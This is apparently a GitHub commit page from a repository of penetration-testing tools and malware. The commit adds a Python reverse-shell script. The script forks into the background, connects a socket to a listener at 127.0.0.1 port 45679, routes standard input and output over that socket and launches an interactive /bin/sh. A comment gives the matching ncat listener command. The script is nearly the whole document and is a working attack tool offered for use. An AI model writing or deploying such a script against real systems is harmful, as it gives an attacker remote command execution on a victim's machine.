Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

Create reverse_shell.py

Abdul Wahab Junaid938768123a95
diff --git a/Python Tools/Reverse_Shell/reverse_shell.py b/Python Tools/Reverse_Shell/reverse_shell.py
new file mode 100644
index 0000000..8c438b8
--- /dev/null
+++ b/Python Tools/Reverse_Shell/reverse_shell.py
@@ -0,0 +1,27 @@
+#!/usr/bin/python
+
+#ncat -l -v -p 45679
+
+import socket
+import subprocess
+import os
+
+socket_handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+try:
+ if os.fork() > 0:
+ os._exit(0)
+except OSError as error:
+ print('Error in fork process: %d (%s)' % (error.errno, error.strerror))
+ pid = os.fork()
+ if pid > 0:
+ print('Fork Not Valid!')
+
+socket_handler.connect(("127.0.0.1", 45679))
+
+os.dup2(socket_handler.fileno(),0)
+os.dup2(socket_handler.fileno(),1)
+os.dup2(socket_handler.fileno(),2)
+
+shell_remote = subprocess.call(["/bin/sh", "-i"])
+list_files = subprocess.call(["/bin/ls", "-i"])